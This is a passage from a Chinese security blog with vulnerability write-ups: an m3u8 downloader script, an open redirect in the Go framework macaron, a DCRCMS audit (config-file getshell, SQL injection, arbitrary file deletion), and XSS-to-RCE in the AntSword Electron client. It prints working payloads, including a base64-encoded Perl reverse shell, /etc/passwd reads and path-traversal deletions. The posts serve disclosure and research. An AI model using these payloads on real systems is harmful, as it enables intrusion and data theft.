分类 开源安全 下的文章

安全研究,开源安全

M3U8解密流程

Dplayer播放器的m3u8解密脚本

https://github.com/DIYgod/DPlayer

前言

暂时只适合未加密的m3u8文件,加密的以后再写

看看能不能用go写一个 感觉会很棒,把下面都集成一下,顺便练练开发(画饼

  1. 自行下载m3u8文件(看F12 network找
  2. 通过下面脚本获取所有流文件
# pip install aiohttp
# python3.6 以上 支持asyncio
# 在脚本目录下建一个m3u8文件夹
# 默认支持bmp后缀和ts后缀 如是其他后缀下面get_all_url函数第三行bmp或ts改一下
# 最下面将https换成了http 加快下载速度 如果服务端只支持https请删除replace
# 异步比较快 但可能会报错,对已经下载的文件会跳过,报错了退出重新运行,多运行几次到全部下完
import aiohttp
import asyncio
import re
import os
import hashlib

#你下载下来的m3u8文件
filename = "video.m3u8"

#防止文件重名(我就遇到了)
def md5(s):
    return hashlib.md5(s.encode('utf-8')).hexdigest()

def get_all_url():
    file_content = open(filename).read()
    urls = re.findall(r"http.*?\.(bmp|ts)",file_content,re.S)
    return urls

async def fetch(client,url):
    async with client.get(url) as resp:
        return await resp.read()

async def main(url):
    if os.path.exists(f"./m3u8/{md5(url)}.ts"):
        print("url exist: break")
        return
    async with aiohttp.ClientSession() as client:
        body = await fetch(client,url)
        open("./m3u8/"+md5(url)+'.ts',"wb").write(body)
        print(f"download success: {url}")

loop = asyncio.get_event_loop()
tasks = []

for url in get_all_url():
        # !!!!!!自行观察服务器知否支持http,如果不确定就把下面.replace删了,!!!!
    task = loop.create_task(main(url.replace("https","http")))
    tasks.append(task)

#可能报错,报错了就重新运行,直到不下载新的文件
loop.run_until_complete(asyncio.wait(tasks))

Untitled

  1. 合并

网上说ffmpeg可以合并 我命令一直报错(淦

ffmpeg -allowed_extensions ALL -i hls-720p.m3u8 -c copy new.mp4

哦对我这个脚本因为可能文件名会重复md5了一下,需要把m3u8得内容换成md5文件名重新写入才行

脚本如下

同样记得看情况改下面的 bmp

import re
import os
import hashlib

filename = "video.m3u8"
new_filename = "new.m3u8"
def md5(s):
    return hashlib.md5(s.encode('utf-8')).hexdigest()

file_content = open(filename).read()

with open(new_filename,"wb") as txt:
    for i in file_content.split("\n"):
        print(i)
        if re.search("http.*?\.(bmp|ts)",i,re.S):
            i = md5(i)+".ts"
            txt.write(i.encode("utf-8")+b"\n")
        else:
            txt.write(i.encode("utf-8")+b"\n")

然后合并所有文件,我直接用的python合并 3.1G的视频我本地跑了快20分钟,如果有开发大佬可以优化一下

注意下面 url=url.replace("https","http")

import hashlib
import re

filname = "video.m3u8"
def md5(s):
    return hashlib.md5(s.encode('utf-8')).hexdigest()

def get_all_url():
    file_content = open(filename).read()
    urls = re.findall(r"http.*?\.(bmp|ts)",file_content,re.S)
    return urls

urls = get_all_url()
filenames = []
for url in urls:
#!!!!!!!!!!!!!!!!看情况删~之前md5存的时候有没有https!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
    url=url.replace("https","http")
    filenames.append(md5(url)+".ts")

big_buffer = b""

i = 1
for filename in filenames:
    print(f"now is {str(i)}| all is {str(num)} ")
    i+=1
    big_buffer += open("m3u8/"+filename,"rb").read()

open("./m3u8_lab/new.ts","wb").write(big_buffer)

Untitled

bingo

后缀直接改成mp4也可以播放,不知道是容错还是啥(来个misc选手

对了 file命令不好使file啥都是data(- -

如果后缀是ts,windows自带的播放器可以直接打开(我是win11

如果不是,改成ts或者mp4说不定能直接打开,反正file命令是真不行

- 阅读全文 -
开源安全

前言


这几天,我审查了多个web框架的源代码,了解了几个不同语言的web框架的处理流程逻辑,并且由于公司业务的需要,我对几个go的web框架进行了review,并且在昨天晚上审查出了一个框架层面的任意url跳转漏洞

macaron


macaron是一个小型,高拓展,精巧的go web框架,目前github有3k的star,语法上类似于gin框架。于是我对其进行了审查,最终挖掘出一枚任意302跳转漏洞,虽然发现的漏洞危害不大,但是挖掘过程却值得拿来一说,

框架


先说下背景,对于web框架的审查,一般着重点有如下几个

  1. 静态文件


因为一般框架都会提供静态资源的访问功能,用于访问静态文件夹,如果这部分处理不当,可能会造成目录穿越从而任意文件读取的问题

  1. 302跳转


这也是本文的漏洞,按照标准,用户注册的路由必须是/结尾,比如
@app.route('/user/')
如果没有以斜杠结尾,很多框架也会在背后默默添加上斜杠以符合标准
所以如果用户访问一个没有以斜杠结尾的路径时,框架会默认跳转到斜杠结尾的路径。如果框架没有任何判断,直接跳转的的url为 用户访问url + '/' 就会产生漏洞
Django的CVE-2018-14574就是这么产生的https://xz.aliyun.com/t/3302

  1. 模板渲染


一般来说,模板渲染和框架逻辑会进行解耦,比如flask和jinja那样,但是不可否认的是,模板渲染也是框架的一部分,并且很多模板都会用eval这种动态解析的危险函数,如果处理不当,极可能造成rce漏洞


审计框架常见的漏洞类型就是这些,当然,不同的情况肯定有不同的处理,并不是说除了上诉漏洞框架就不会有别的漏洞了,具体还是要看开发这写法,这也是局限于小型框架,如果是django那种功能复杂的大型框架,那肯定有更多的攻击面挖掘点去挖掘

漏洞点


对于一般的MVC框架,开发者会注册好 路由和函数的对应关系,然后框架中有一个全局索引去保存好这些对应关系,当一个新请求来临时,服务器会把 这个请求的信息全部打包好,扔给框架进行处理。这些信息就是我们常说的Context


比如说路径 请求方式, 协议, 等等,框架拿到这些信息以后,就会根据http服务器提供的路径,去全局索引中查找该回调哪个函数。


而如果没有找到路径匹配的函数,并且没有其他合适中间处理middleware,框架就会返回404


而本文的漏洞出现在静态资源处理函数中,我们来跟着源码分析一下

漏洞代码

package main
import "gopkg.in/macaron.v1"
func main() {
    m := macaron.Classic()
    m.Get("/", func(ctx *macaron.Context) string {
        return "Hello world!"
    })
    m.Use(macaron.Static("static"))
    m.Run()
}


payload放在了文末,建议读者先不直接看payload,看完代码分析,试试自己能不能想出payload

分析


git clone [https://github.com/go-macaron/macaron](https://github.com/go-macaron/macaron)


在本框架中,静态资源处理是一个中间件middleware
m.Use(macaron.Static("static"))


我们使用Goland来分析,右键Staic -> Go To -> Declaration 进入Static的函数声明

// Static returns a middleware handler that serves static files in the given directory.
func Static(directory string, staticOpt ...StaticOptions) Handler {
    opt := prepareStaticOptions(directory, staticOpt)

    return func(ctx *Context, log *log.Logger) {
        staticHandler(ctx, log, opt)
    }
}


由于我们使用的默认options,prepareStaticOptions函数并没有其他有用的信息,我们继续跟进staticHandler函数,看参数名字其实不难猜出,ctx就是上面讲的Context(请求信息上下文)log代表日志一般不用看,opt是选项


staticHandler就是导致漏洞的关键函数了,我们详细分析一下它,

func staticHandler(ctx *Context, log *log.Logger, opt StaticOptions) bool {

    file := ctx.Req.URL.Path
    // if we have a prefix, filter requests by stripping the prefix

    f, err := opt.FileSystem.Open(file)
    if err != nil {
        return false
    }
    defer f.Close()
    fi, err := f.Stat()
    if err != nil {
        return true // File exists but fail to open.
    }
    // Try to serve index file
    if fi.IsDir() {
        // Redirect if missing trailing slash.
        if !strings.HasSuffix(ctx.Req.URL.Path, "/") {
            http.Redirect(ctx.Resp, ctx.Req.Request, ctx.Req.URL.Path+"/", http.StatusFound)
            return true
        }
    }
    http.ServeContent(ctx.Resp, ctx.Req.Request, file, fi.ModTime(), f)
    return true
}


由于篇幅原因,我把只贴出了staticHandler产生漏洞的代码,没放出其余对漏洞产生无影响的代码。


不难看出,file就代表了我们请求的路径。
我们访问的HTTP包如果是POST //123./ HTTP/1.1
那么file就是//123./


opt.FileSystem在外部代码中查看得出指向http.FileSystem,这是一个go的内置包,可以打开文件和文件夹对象,所以后续代码用fi.IsDir()来判断是否打开的是文件夹。


这里就可以看出,这些代码是用来判断,用户访问的是静态目录下的一个文件还是文件夹,因为静态目录下的所有文件和文件夹都是可访问的。
然后我们仔细看看下面这几行代码

if !strings.HasSuffix(ctx.Req.URL.Path, "/") {
            http.Redirect(ctx.Resp, ctx.Req.Request, ctx.Req.URL.Path+"/", http.StatusFound)
            return true
        }


这几行代码的作用是,如果用户访问的是一个文件夹,但是访问路径不是以/结尾,就直接给路径加个/ 然后重定向。
看上去代码并没有任何问题,如果真要造成302任意跳转,比如跳到baidu.com,我们得在静态目录下新建一个叫 baidu.com 的文件夹,然后访问
[http://127.0.0.1:4000//baidu.com](http://127.0.0.1:4000//baidu.com)才可以.
包括我在第一次审计的时候也没有觉得有问题,各位读者如果看看到了这里,可以自己思考一下怎么利用。

利用












































公布答案
当访问 [http://127.0.0.1:4000//evoa.me%2f..](http://127.0.0.1:4000//evoa.me%252f..)即可跳到//evoa.me


我们来分析一下这个payload,由于路径是 .. 结尾,http.FileSystem会认为他是一个路径,fi.IsDir()为真,并且路径并不是/结尾,if !strings.HasSuffix(ctx.Req.URL.Path, "/")为true,继续进入if语句,最后返回的location为
Location: //evoa.me/../成功跳转

小坑


这里有个小坑,如果是在Chrome浏览器验证的话,
下面的payload都是无法成功的
[http://127.0.0.1:4000//evoa.me/..](http://127.0.0.1:4000//evoa.me/..)
[http://127.0.0.1:4000//evoa.me/%2e.](http://127.0.0.1:4000//evoa.me/%252e.)
[http://127.0.0.1:4000//evoa.me/%2e%2e](http://127.0.0.1:4000//evoa.me/%252e%252e)
[http://127.0.0.1:4000//evoa.me/.%2e](http://127.0.0.1:4000//evoa.me/.%252e)


具体原因是chrome会对访问路径进行标准化,/..会自动删去,不会发到后端,这里要感谢 @F1sh师傅的解答
而如果对 / 进行编码 %2f,chrome就不会自动标准化,就可以复现这个漏洞了

后话


Issue地址:https://github.com/go-macaron/macaron/issues/198
CVE:在考虑要不要申请,感觉很垃圾

CVE-2020-12666 真香

- 阅读全文 -
开源安全,代码审计

前言

最近渗透测试某站点的时候触发了一个报错,然后发现了站点使用的CMS,百度了一下是一个国产开源的企业级CMS。从官网拉下来审了一下,再此记录一下

入口

下面是index.php入口文件

<?php
if( !file_exists(dirname(__FILE__) . "/include/config.db.php") )
{
    header("Location:install/index.php");
    exit();
}
require_once( "include/common.inc.php" );
$mod = str_replace( '../', '', $mod );

if( empty( $mod ) )
{
    $mod = 'index';
}

$action_file = WEB_INCLUDE . '/action/' . $mod . '.php';
file_exists($action_file) && require_once($action_file);

$cls_tpl = cls_app:: get_template( $mod );
$cls_tpl->display();

?>

很常见的cms入口形式,但是可以注意到第八行将../替换为空,这里怀疑会不会存在目录穿越,可以采用..././这样的形式来穿越到上一层。但是第15行限制了后缀必须为php,且由于前缀也被限制于是不能使用zip伪协议拿shell,如果php版本为5.2可以采用00截断包含任意文件,这里暂时卡住,继续审计,第2行应该为配置文件略过,跟进第7行的common.inc.php
图片.png
common.inc.php开头先定义了许多常量,然后更改了一些php配置,接着又引入了两个文件,跟进发现配置了一些变量,先不管,继续向下审计common.inc.php

<?php

$req_data = array();
foreach( array('_GET', '_POST', '_COOKIE') as $_request )
{
    foreach( $$_request as $_k => $_v )
    {
        ${$_k} = _get_request($_v);
        
        if( '_COOKIE' != $_request )
        {
            $req_data[$_k] = _get_request($_v);
        }
    }
}
unset($_GET, $_POST);
?>

上面代码可以很明显的发现,cms把$_GET,$_POST,$_COOKIE注册为了全局变量。所以之后可能存在变量覆盖,之后的代码引入了全局函数和全局类。这时候CMS入口以审计结束,可以开始审计函数和类

重安装漏洞(Getshell)

由于安装文件一般是漏洞的重灾地,于是这里直接跳到了安装文件,果然找到了漏洞点。
在install_action.php中,安装完成后会把前端文件重命名,但是后端逻辑文件依旧存在,所以如果知道安装文件位置即可重安装

<?php
function install_end()
{
    //安装收尾
                
    //把安装文件的名字换了
    @rename('index.php', 'index.php_bak');
}

这里只重命名了前端文件

而且在文件280行,存在写文件操作,文件名为php且文件内容可控

<?php

$db_tablepre = $_POST['tablepre'];

write_db_config($db_type, $db_host, $db_name, $db_pass, $db_table, $db_tablepre);

function write_db_config($db_type, $db_host, $db_name, $db_pass, $db_table, $db_tablepre)
{    
    //写入数据库配置
    global $db_code;
    $db_config = "";
    $db_config .= "<?php\n\n";
    $db_config .= "\$db_type = '" . $db_type . "';\n";
    $db_config .= "\$db_host = '" . $db_host . "';\n";
    $db_config .= "\$db_name = '" . $db_name . "';\n";
    $db_config .= "\$db_pass = '" . $db_pass . "';\n";
    $db_config .= "\$db_table = '" . $db_table . "';\n";
    $db_config .= "\$db_ut = '" . $db_code . "';\n";
    $db_config .= "\$db_tablepre = '" . $db_tablepre . "';\n\n";
    $db_config .= "?>";
    require_once("../include/class/class.file.php");
    $cls_file = new cls_file('../include/config.db.php');
    $cls_file-> set_text($db_config);
    
    return $cls_file-> write();
}

由于文件内容可控,我们可以通过tablepre=exp来写入一个恶意php文件

tablepre=dcr_qy_';?><?php phpinfo()?>
由于写入的是配置文件,所以访问站点任意文件都会包含此文件,所以还可以当后门来用。

图片.png

审计过程还发现,如果采用sqlite安装,sqlite数据库文件名会以php结尾,并且我们可以控制数据库名数据库表,但是cms开始会新建一个名为<?php的数据表,sqlite文件的文件头会存在多个<?php,php解析到这里直接报错了。不知道怎么绕过。

sql注入

在install_action.php中还存在sql注入

<?php
$db_table = $_POST['table'];
$sql_db_exists = "SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE SCHEMA_NAME='$db_table'";

很明显的注入,就不细讲了

任意文件删除漏洞x2

全局搜索危险函数unlink
图片.png
一个个跟进审计,查找拿些变量可控,最终找到两个任意文件删除漏洞

在fmanage_action.php中提供了文件删除功能,但是未对文件路径做过滤,于是可以删除任意文件
图片.png
上面提到cms把所有url变量注册为了全局变量,于是只需访问action=del_file&cpath=../../../../../../../1.txt即可删除任意文件

cls_dir类中也存在一个任意文件删除漏洞
图片.png
cache_clear.php引用了这个类

<?php
$cls_dir = new cls_dir();
$cls_dir-> delete_dir( WEB_CACHE  . "/template/{$tpl_dir}" );

同理,通过控制url参数tpl_dir即可任意文件删除

失败的审计

在db.class.php中的构造方法里,可以进行数据库连接

<?php
class cls_db
{
    private $pdo;
    
    private $db_type;
    private $host;
    private $name;
    private $pass;
    private $table;
    private $ut;
    private $conn;
    
    private $result;
    private $rs;    
    
    private $str_error; //错误信息
    
    /**
     * 构造函数
      * @param string $db_type 数据库类型
      * @param string $host 数据库地址
     * @param string $name 数据库用户名
     * @param string $pass 数据库密码
     * @param string $table 数据库名
     * @param string $ut 数据库编码
     * @return resource 成功返回一个连接的resource
     */
    function __construct( $db_type, $db_host, $db_name, $db_pass, $db_table, $db_ut )
    {
        $this->db_type = $db_type;
        $this->host = $db_host;
        $this->name = $db_name;
        $this->pass = $db_pass;
        $this->table = $db_table;    
        $this->ut = $db_ut;
        if( !$this->conn )
        {
            $this->connect();
        }
    }

因为构造方法只有在实例化新类才会被执行,所以理论上,如果我们可以任意实例化任意类,我们可以控制数据库连接的ip和端口,再通过mysql任意文件读取漏洞,即可达到任意文件读取,全局搜索new $
图片.png
遗憾的是,这三个变量审计后发现我们都不可控,于是这条路没有走通,但是我觉得思路还是很不错的

失败的审计*2

class.email.php文件中会存在任意ip建立套接字,发送数据可控,于是我们可以通过crlf来SSRF,可以攻击内网的php-fpm,redis等应用,但是在刚开始建立套接字的时候,cms会判断对应ip是否返回2或者3,

<?php
function smtp_ok()
    {
        $response = str_replace("\r\n", "", fgets($this->sock, 512));
        $this->smtp_debug( $response . "\n" );
   
        
        if (!ereg("^[23]", $response))
        {
            fputs($this->sock, "QUIT\r\n");
            fgets($this->sock, 512);
            cls_app::log("Error: Remote host returned \"" . $response . "\"\n");
            return false;
        }
        return true;
    }
?>

如果攻击内网,必须要对应内网服务在建立连接时,返回数据中带有2或者3,我们才能发送数据,否者程序会直接退出。

cms官网:http://www.dcrcms.com/

- 阅读全文 -
开源安全

蚁剑客户端RCE的挖掘过程及Electron安全

Author:evoA@Syclover

前言:

事情的起因是因为在一次面试中,面试官在提到我的CVE的时候说了我的CVE质量不高。简历里那几个CVE都是大一水过来的,之后也没有挖CVE更别说高质量的,所以那天晚上在我寻思对哪个CMS下手的挖点高质量CVE的时候,我突然盯上了蚁剑,挖掘到了一枚RCE,虽然漏洞的水平并不高但是思路我觉得值得拿来分享一下。

Electron

Electron是由Github开发,用HTML,CSS和JavaScript来构建跨平台桌面应用程序的一个开源库。 Electron通过将Chromium和Node.js合并到同一个运行时环境中,并将其打包为Mac,Windows和Linux系统下的应用来实现这一目的。
简而言之,只要你会HTML,CSS,Javascript。学习这门框架,你就能跨平台开发桌面应用程序,像VSCode,Typora,Atom,Github Desktop都是使用Electron应用进行跨平台开发。虽然Electron十分简单方便,但是我认为其存在很严重的安全问题

第一个蚁剑的洞

面完的当晚我正对着github的开源项目发呆,准备寻找一些开源项目进行审计,却不知不觉的逛到了历史记录蚁剑的项目,当我准备关闭的时候,一行说明引起了我的注意
图片.png我发现蚁剑是使用Electron进行开发的,这就说明了我可以进行Electron应用的漏洞挖掘,于是我抱着试试看的运气打开了蚁剑,并在最显眼的位置输

图片.png
image.png

成功XSS!由于蚁剑用Electron开发,当前程序的上下文应该是node,于是我们可以调用node模块进行RCE
poc:

<img src=# onerror="require('child_process').exec('cat /etc/passwd',(error, stdout, stderr)=>{
  alert(`stdout: ${stdout}`);
});">

image.png

另三个洞

成功RCE,那天晚上在和Smi1e师傅吹水@Smi1e,跟他聊到这个后,他发现shell管理界面也没有任何过滤

image.png
以上三个点都可以XSS造成RCE,poc和上面一样,就不做演示了,于是我把这些洞交了issue
但是结果是

image.png
被官方评为self-xss了,很难受,虽然蚁剑有1000个star,但是这个洞确实比较鸡肋,唯一可以利用的方式只有把自己的蚁剑传给别人让别人打开,这在实战中几乎是不可能的事情。
注:这四个洞所填的数据在电脑上是有储存的,位置在~/蚁剑源码目录/antData/db.ant文件中以JSON格式进行存储

image.png
所以理论上如果能替换别人电脑上的此文件也能造成RCE(但是都能替换文件内容了为什么还要这个方法来RCE干嘛)就很鸡肋

真-RCE的发现

就在我一筹莫展的时候,我随便点了一个shell

image.png
!!!!!!!!
虽然我以前从来不看报错,但在这个时候我十分敏感的觉得这个报错信息肯定有我可控的点,大概看了一番,发现这么一句话
image.png
这不就是HTTP的状态码和信息吗,要知道http协议状态码是可以随意更改的,并且状态信息也可以自定义,并不会导致无法解析,于是我激动的在我的机子进行实验

<?php
header('HTTP/1.1 500 <img src=# onerror=alert(1)>');

image.png
喜提一枚X (R) S (C) S (E) 漏洞,当然这只是poc,并不能执行命令。下面是我的exp

<?php

header("HTTP/1.1 406 Not <img src=# onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3BlcmwgLWUgXCd1c2UgU29ja2V0OyRpPSIxMjcuMC4wLjEiOyRwPTEwMDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9iYXNoIC1pIik7fTtcJycsKGVycm9yLCBzdGRvdXQsIHN0ZGVycik9PnsKICAgIGFsZXJ0KGBzdGRvdXQ6ICR7c3Rkb3V0fWApOwogIH0pOw==`,`base64`).toString())'>");
?>

base64是因为引号太多了很麻烦,只能先编码在解码eval。
解码后的代码

require('child_process').exec('perl -e \'use Socket;$i="127.0.0.1";$p=1002;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};\'',(error, stdout, stderr)=>{
    alert(`stdout: ${stdout}`);
  });

双击shell后

image.png
并且在蚁剑关闭后这个shell也不会断

源码分析

这是官方修复我第一个Self-xss的代码改动
图片.png

图片.png
更新后在目录输出这个位置使用了noxss函数进行输出,全局查找noxss函数

图片.png
函数的作用很明显,把& < > "替换为实体字符,默认也替换换行。所以我们在新版本构造的exp会失效

图片.png
并且作者在大部分的输出点都做了过滤

图片.png
几乎界面的所有输出都做了过滤,那为什么在我们的连接错误信息中没有过滤呢。于是我准备从源码层面上分析原因。
由于错误信息是在连接失败的时候抛出,所以我怀疑输出点是http连接时候的错误处理产生的输出,所以先全局查找http的连接功能或函数,由于http连接一般属于核心全局函数或类。我先从入口文件app.js看起。(通过package.json配置文件的main值知道入口文件是app.js)

图片.png
入口文件一共就80行,在最末尾入口文件引入了6个文件,其中的request十分明显肯定是发起网络请求的文件,跟进分析。

图片.png
开头的注释就表示了这个文件就是专门发起网络请求的函数文件,在第13行,发现这个文件引入了一个模块superagent,这是一个node的轻量级网络请求模块,类似于python中的requests库,所以可以确定此函数使用这个库发起网络请求,追踪superagent变量
图片.png
在104行发现,新建了一个网络请求,并且将返回对象赋予_request参数,从94行的注释也能发现这里应该实现的应该给是发起网络请求的功能,所以从这里开始追踪_request变量。

图片.png
从123行到132行是发网络请求,并且151行,当产生错误的时候会传递一个request-error错误,并且传递了错误信息,并且之后的代码也是相同的错误处理,于是全局搜索request-error。

图片.png
很明显,跟进base.js
图片.png
这里定义了一个request函数,封装好了http请求,在监听到request-error-事件的时候会直接返回promise的reject状态,并且传递error信息,ret变量就是上面传递过来的err, rej就是promise的reject,不懂promise的可以去看看promise。然后由之后调用此request函数的catch捕获。所以全局搜索request函数

图片.png
在搜索列表里发现有database,filemanager,shellmanager等文件都调用了request函数,由于蚁剑的shell先会列目录文件,所以第一个网络请求可能是发起文件或目录操作,而我们的错误信息就是在第一次网络请求后面被输出,所以跟进filemanager
图片.png
在140行注释发现了获取文件目录的函数,审计函数

图片.png
在166行发现了调用了request函数,204行用catch捕获了前面promise的reject,并且将err错误信息json格式化并传递给toastr.error这个函数。
toastr是一款轻量级的通知提示框Javascript插件,下面是这个插件的用法

图片.png
看看上面蚁剑输出的错误信息,是不是发现了点什么。

图片.png
这个插件在浏览器里面也是默认不会进行xss过滤的。由于错误信息包含了http返回包的状态码和信息,所以我们构造恶意http头,前端通过toastr插件输出即可造成远程命令执行。

总结

由于http的错误信息输出点混杂在了逻辑函数中,相当于控制器和视图没有很好地解耦,开发者虽然对大部分的输出点进行的过滤,但是由于这个输出点比较隐蔽且混淆在的控制层,所以忽略了对此报错输出的过滤,并且错误信息是通过通知插件输出,更增加了输出的隐蔽性。开发人员在使用类似插件的时候应该了解插件是否对这类漏洞做了过滤,不能过度信赖第三方插件,并且在编写大型项目的时候,视图层和控制层应该尽可能的分离,这样才能更好进行项目的维护。
对于electron应用,开发者应该了解xss的重要性,electron应用的xss是直接可以造成系统RCE的,对于用户可控输出点,特别是这种远程可控输出点,都必须进行过滤。

- 阅读全文 -
This is just a placeholder img.